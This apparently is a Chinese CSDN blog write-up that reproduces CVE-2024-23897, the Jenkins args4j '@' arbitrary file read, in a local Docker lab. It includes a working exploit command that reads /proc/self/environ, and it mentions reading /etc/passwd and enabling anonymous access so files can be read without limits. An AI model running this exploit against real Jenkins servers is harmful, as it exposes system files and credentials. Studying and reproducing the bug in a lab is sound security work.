CVE-2024-23897 JenKins任意文件读取漏洞复现

本文描述了Jenkins的一个安全漏洞,利用args4j库的特性,攻击者可以通过下载jenkins-cli.jar并在命令行中使用@符号引导读取敏感文件。漏洞影响范围包括Jenkins2.441及以下版本。文章还演示了如何利用这个漏洞在Docker环境中进行攻击和扩展访问权限。
摘要由CSDN通过智能技术生成

1.漏洞介绍

        Jenkins提供了一个命令行的接口,用户可以在下载一个命令行客户端jenkins-cli.jar到本地,并调用该客户端来执行一些Jenkins的功能。本来是一个很常见的功能,但设计中神奇的是,用户使用jenkins-cli.jar时,命令行是传到服务端解析的,而不是在jenkins-cli.jar里解析。

        这就导致了一个问题,因为Jenkins服务端解析命令行时使用了一个第三方库args4j,这个库实现了Linux中一个常见的功能——如果一个参数是以@开头,则会被自动认为是一个文件名,文件内容会被读取作为参数

受影响版本

        JenKins <= 2.441

        Jenkins LTS <= 2.426.2

2.环境搭建

        2.1 使用docker搭建环境

从Docker Hub上拉取一个名为bitnami/jenkins:2.426.2-debian-11-r3的Docker镜像。

docker pull bitnami/jenkins:2.426.2-debian-11-r3

 运行一个Bitnami提供的Jenkins镜像,设置参数和端口映射,并启动镜像。

docker run -e "JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=0.0.0.0:5005" -d --name jenkins -p 8081:8080 -p 8777:5005 bitnami/jenkins:2.426.2-debian-11-r3

        2.2登录测试

地址:kali本地IP:8081        默认管理员账号密码:user/bitnami

三、漏洞利用

        3.1 下载JenKins-cli.jar包

我们发现使用wget命令可以在外部将JenKins-cli.jar包下载至桌面

wget http://localhost:8081/jnlpJars/jenkins-cli.jar

通过Jenkins-cli.jar包进行 读取文件以获取 Jenkins 基本目录

java -jar jenkins-cli.jar -s http://localhost:8081/ -http help 1 "@/proc/self/environ"

OK

四、扩展

利用JenKins-cli.jar包探索敏感目录文件;例如:/etc/passwd

在这里我们发现左边是只有一条是暴露。

开启匿名者访问权限
选项在后台的”Manage Jenkins“->"security"中管理员可将其开启或关闭。默认是关闭的

这样使用JenKins-cli.jar包就可以无限制探索了。

五、JenKins任意文件读取(CVE-2024-23897)漏洞原理

        Jenkins文件读取漏洞的原理是args4j在解析命令行的时候会把@后面的字符作为文件名,并读取文件内容作为参数的值。

        但是作为攻击者,我们必须想办法让Jenkins或args4j,将读到的文件内容返回给我们,才能最终达到任意文件读取的目的。好在,当我们调用命令行时,如果出错,args4j就会把错误返回给客户端,而错误信息中就包含文件的内容

  • 14
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

我只希望逃之夭夭

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值